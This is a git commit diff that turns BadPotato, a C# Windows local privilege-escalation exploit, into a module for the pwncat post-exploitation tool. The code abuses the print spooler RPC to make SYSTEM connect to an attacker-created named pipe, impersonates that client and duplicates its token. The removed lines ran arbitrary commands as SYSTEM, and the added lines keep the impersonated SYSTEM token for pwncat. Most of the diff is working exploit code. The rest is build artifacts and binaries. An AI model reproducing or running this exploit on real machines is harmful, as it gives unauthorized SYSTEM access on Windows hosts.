Fundamental pwncat PoC as a EXE

master
John Hammond 2021-06-09 21:03:38 -07:00
parent e987644c4c
commit 205df0236b
14 changed files with 210 additions and 243 deletions

BIN
.vs/BadPotato/v16/.suo Normal file

Binary file not shown.

BIN
.vs/slnx.sqlite Normal file

Binary file not shown.

10
.vs/tasks.vs.json Normal file
View File

@ -0,0 +1,10 @@
{
"version": "0.2.1",
"tasks": [
{
"taskLabel": "task-BadPotato",
"appliesTo": "/",
"type": "launch"
}
]
}

View File

@ -24,7 +24,7 @@
<Prefer32Bit>false</Prefer32Bit> <Prefer32Bit>false</Prefer32Bit>
</PropertyGroup> </PropertyGroup>
<PropertyGroup> <PropertyGroup>
<StartupObject>BadPotato.ExecuteRectangle</StartupObject> <StartupObject>BadPotato</StartupObject>
</PropertyGroup> </PropertyGroup>
<ItemGroup> <ItemGroup>
<Reference Include="System" /> <Reference Include="System" />

View File

@ -6,12 +6,23 @@ using System.Security;
using System.Security.Principal; using System.Security.Principal;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
using System.Reflection;
using System.Collections.Generic;
using static PingCastle.RPC.rprn; using static PingCastle.RPC.rprn;
namespace BadPotato class Entry
{ {
/*
* Reflection technique to get the context of stage2.
* This allows us to sanely raise exceptions that pwncat can be aware of
*/
public static Type ProtocolError;
public static void pwncat( Assembly stage2) {
ProtocolError = stage2.GetType("stagetwo.Protocol.ProtocolError");
}
}
class ExecuteRectangle class BadPotato
{ {
public struct SECURITY_ATTRIBUTES public struct SECURITY_ATTRIBUTES
{ {
@ -49,197 +60,124 @@ namespace BadPotato
public int dwProcessId; public int dwProcessId;
public int dwThreadId; public int dwThreadId;
} }
static void Main(string[] args)
enum BadPotatoErrors
{ {
Console.WriteLine(@"[*] CreateOutReadPipeFailure = 1,
CreateErrReadPipeFailure,
____ ______ __ __ SetThreadTokenFailure,
/ __ )____ _____/ / __ \____ / /_____ _/ /_____ DuplicateTokenExFailure,
/ __ / __ `/ __ / /_/ / __ \/ __/ __ `/ __/ __ \ OpenThreadTokenFailure,
/ /_/ / /_/ / /_/ / ____/ /_/ / /_/ /_/ / /_/ /_/ / ImpersonateNamedPipeFailure,
/_____/\__,_/\__,_/_/ \____/\__/\__,_/\__/\____/ ConnectNamedPipeTimeout,
RpcRemoteFindFirstPrinterChangeNotificationExFailure,
Github:https://github.com/BeichenDream/BadPotato/ By:BeichenDream RpcOpenPrinterFailure,
"); CreateNamedPipeWFailure
if (args.Length<1)
{
Console.WriteLine("[!] No Command");
return;
} }
static void error()
{
System.ComponentModel.Win32Exception exc = new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
throw (Exception)Activator.CreateInstance(Entry.ProtocolError,new object[] { exc.ErrorCode, exc.Message });
}
public static Dictionary<string, object> bad_potato()
{
SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
string pipeName = Guid.NewGuid().ToString("N"); string pipeName = Guid.NewGuid().ToString("N");
Console.WriteLine("[*] PipeName : " + string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName)); //Console.WriteLine("[*] PipeName : " + string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName));
Console.WriteLine("[*] ConnectPipeName : " + string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName)); //Console.WriteLine("[*] ConnectPipeName : " + string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName));
IntPtr pipeHandle = CreateNamedPipeW(string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName), 0x00000003| 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); IntPtr pipeHandle = CreateNamedPipeW(string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName), 0x00000003| 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);
if (pipeHandle!=IntPtr.Zero) if (pipeHandle!=IntPtr.Zero)
{ {
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "CreateNamedPipeW",pipeHandle)); //Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "CreateNamedPipeW",pipeHandle));
rprn rprn = new rprn(); rprn rprn = new rprn();
DEVMODE_CONTAINER dEVMODE_CONTAINER = new DEVMODE_CONTAINER(); DEVMODE_CONTAINER dEVMODE_CONTAINER = new DEVMODE_CONTAINER();
IntPtr rpcPrinterHandle = IntPtr.Zero; IntPtr rpcPrinterHandle = IntPtr.Zero;
rprn.RpcOpenPrinter(string.Format("\\\\{0}", Environment.MachineName), out rpcPrinterHandle, null, ref dEVMODE_CONTAINER, 0); rprn.RpcOpenPrinter(string.Format("\\\\{0}", Environment.MachineName), out rpcPrinterHandle, null, ref dEVMODE_CONTAINER, 0);
if (rpcPrinterHandle!=IntPtr.Zero) if (rpcPrinterHandle!=IntPtr.Zero)
{ {
if (rprn.RpcRemoteFindFirstPrinterChangeNotificationEx(rpcPrinterHandle, 0x00000100, 0, string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName), 0) != -1) if (rprn.RpcRemoteFindFirstPrinterChangeNotificationEx(rpcPrinterHandle, 0x00000100, 0, string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName), 0) != -1)
{ {
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "RpcRemoteFindFirstPrinterChangeNotificationEx", rpcPrinterHandle)); //Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "RpcRemoteFindFirstPrinterChangeNotificationEx", rpcPrinterHandle));
Thread thread = new Thread(() => ConnectNamedPipe(pipeHandle, IntPtr.Zero)); Thread thread = new Thread(() => ConnectNamedPipe(pipeHandle, IntPtr.Zero));
thread.Start(); thread.Start();
if (thread.Join(5000)) if (thread.Join(5000))
{ {
Console.WriteLine("[*] ConnectNamePipe Success!"); //Console.WriteLine("[*] ConnectNamePipe Success!");
StringBuilder stringBuilder = new StringBuilder(); StringBuilder stringBuilder = new StringBuilder();
GetNamedPipeHandleState(pipeHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Capacity); GetNamedPipeHandleState(pipeHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Capacity);
Console.WriteLine("[*] CurrentUserName : " + Environment.UserName);
Console.WriteLine("[*] CurrentConnectPipeUserName : " + stringBuilder.ToString()); //Console.WriteLine("[*] CurrentUserName : " + Environment.UserName);
//Console.WriteLine("[*] CurrentConnectPipeUserName : " + stringBuilder.ToString());
if (ImpersonateNamedPipeClient(pipeHandle)) if (ImpersonateNamedPipeClient(pipeHandle))
{ {
Console.WriteLine("[*] ImpersonateNamedPipeClient Success!"); //Console.WriteLine("[*] ImpersonateNamedPipeClient Success!");
IntPtr hSystemToken = IntPtr.Zero; IntPtr hSystemToken = IntPtr.Zero;
if (OpenThreadToken(GetCurrentThread(), 983551, false, ref hSystemToken)) if (OpenThreadToken(GetCurrentThread(), 983551, false, ref hSystemToken))
{ {
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "OpenThreadToken", hSystemToken)); //Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "OpenThreadToken", hSystemToken));
IntPtr hSystemTokenDup = IntPtr.Zero; IntPtr hSystemTokenDup = IntPtr.Zero;
if (DuplicateTokenEx(hSystemToken, 983551, 0, 2, 1, ref hSystemTokenDup)) if (DuplicateTokenEx(hSystemToken, 983551, 0, 2, 1, ref hSystemTokenDup))
{ {
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "DuplicateTokenEx", hSystemTokenDup)); try
if (SetThreadToken(IntPtr.Zero, hSystemToken))
{ {
Console.WriteLine("[*] SetThreadToken Success!"); WindowsIdentity.Impersonate(hSystemTokenDup);
Console.WriteLine("[*] CurrentThreadUserName : " + WindowsIdentity.GetCurrent(true).Name); return new Dictionary<string, object>();
SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
IntPtr out_read = IntPtr.Zero;
IntPtr out_write = IntPtr.Zero;
IntPtr err_read = IntPtr.Zero;
IntPtr err_write = IntPtr.Zero;
saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
saAttr.bInheritHandle = 0x1;
saAttr.lpSecurityDescriptor = IntPtr.Zero;
if (CreatePipe(ref out_read, ref out_write, ref saAttr, 0))
{
Console.WriteLine(string.Format("[*] {0} Success! out_read:{1} out_write:{2}", "CreateOutReadPipe", out_read, out_write));
} }
else catch {
{ error();
Console.WriteLine("[!] CreateOutReadPipe fail!");
}
if (CreatePipe(ref err_read, ref err_write, ref saAttr, 0))
{
Console.WriteLine(string.Format("[*] {0} Success! err_read:{1} err_write:{2}", "CreateErrReadPipe", err_read, err_write));
}
else
{
Console.WriteLine("[!] CreateErrReadPipe fail!");
}
SetHandleInformation(out_read, 0x00000001, 0);
SetHandleInformation(err_read, 0x00000001, 0);
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = @"WinSta0\Default";
si.hStdOutput = out_write;
si.hStdError = err_write;
si.dwFlags |= 0x00000100;
string lpApplicationName = Environment.SystemDirectory + "/cmd.exe";
string lpCommandLine = "cmd /c " + args[0];
// bool flag=CreateProcessAsUserW(hSystemTokenDup, null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, Environment.SystemDirectory, ref si, out pi);
if (CreateProcessWithTokenW(hSystemTokenDup, 0, null, lpCommandLine, 0x08000000, IntPtr.Zero, Environment.CurrentDirectory, ref si, out pi))
{
Console.WriteLine(string.Format("[*] {0} Success! ProcessPid:{1}", "CreateProcessWithTokenW", pi.dwProcessId));
CloseHandle(out_write);
CloseHandle(err_write);
byte[] buf = new byte[4098];
int dwRead = 0;
while (ReadFile(out_read, buf, 4098, ref dwRead, IntPtr.Zero))
{
byte[] outBytes = new byte[dwRead];
Array.Copy(buf, outBytes, dwRead);
Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
}
while (ReadFile(err_read, buf, 4098, ref dwRead, IntPtr.Zero))
{
byte[] outBytes = new byte[dwRead];
Array.Copy(buf, outBytes, dwRead);
Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
}
CloseHandle(err_read);
CloseHandle(out_read);
CloseHandle(out_write);
CloseHandle(err_write);
CloseHandle(hSystemTokenDup);
CloseHandle(hSystemToken);
CloseHandle(rpcPrinterHandle);
CloseHandle(pipeHandle);
Console.WriteLine("[*] Bye!");
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] CreateProcessWithTokenW fail!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] SetThreadToken fail!");
} }
} }
else else
{ {
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); error();
Console.WriteLine("[!] DuplicateTokenEx fail!");
} }
} }
else else
{ {
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); error();
Console.WriteLine("[!] OpenThreadToken fail!");
} }
} }
else else
{ {
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); error();
Console.WriteLine("[!] ImpersonateNamedPipeClient fail!");
} }
} }
else else
{ {
CloseHandle(rpcPrinterHandle); CloseHandle(rpcPrinterHandle);
CloseHandle(pipeHandle); CloseHandle(pipeHandle);
Console.WriteLine("[!] ConnectNamePipe Time Out!"); error();
} }
} }
else else
{ {
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); error();
Console.WriteLine("[!] RpcRemoteFindFirstPrinterChangeNotificationEx fail!");
} }
} }
else else
{ {
CloseHandle(pipeHandle); CloseHandle(pipeHandle);
Console.WriteLine("[!] RpcOpenPrinter fail!"); error();
} }
} }
else else
{ {
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); error();
Console.WriteLine("[!] CreateNamedPipeW fail!") ;
} }
} }
[DllImport("advapi32.dll", SetLastError = true)] [DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken); public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
[SecurityCritical] [SecurityCritical]
@ -291,4 +229,3 @@ Github:https://github.com/BeichenDream/BadPotato/ By:BeichenDream
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, int dwLogonFlags, string lpApplicationName, string lpCommandLine, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); public static extern bool CreateProcessWithTokenW(IntPtr hToken, int dwLogonFlags, string lpApplicationName, string lpCommandLine, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
} }
}

BIN
bin/Release/BadPotato.exe Normal file

Binary file not shown.

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup>
</configuration>

View File

@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

Binary file not shown.

View File

@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

Binary file not shown.

View File

@ -0,0 +1 @@
a6c7ffa944e818a9ae8d64d43a8c82d1ade27cf8

View File

@ -0,0 +1,5 @@
C:\Users\johnh\Source\Repos\BadPotato\bin\Release\BadPotato.exe.config
C:\Users\johnh\Source\Repos\BadPotato\bin\Release\BadPotato.exe
C:\Users\johnh\Source\Repos\BadPotato\obj\Release\BadPotato.csproj.CoreCompileInputs.cache
C:\Users\johnh\Source\Repos\BadPotato\obj\Release\BadPotato.exe
C:\Users\johnh\Source\Repos\BadPotato\obj\Release\BadPotato.csproj.AssemblyReference.cache

BIN
obj/Release/BadPotato.exe Normal file

Binary file not shown.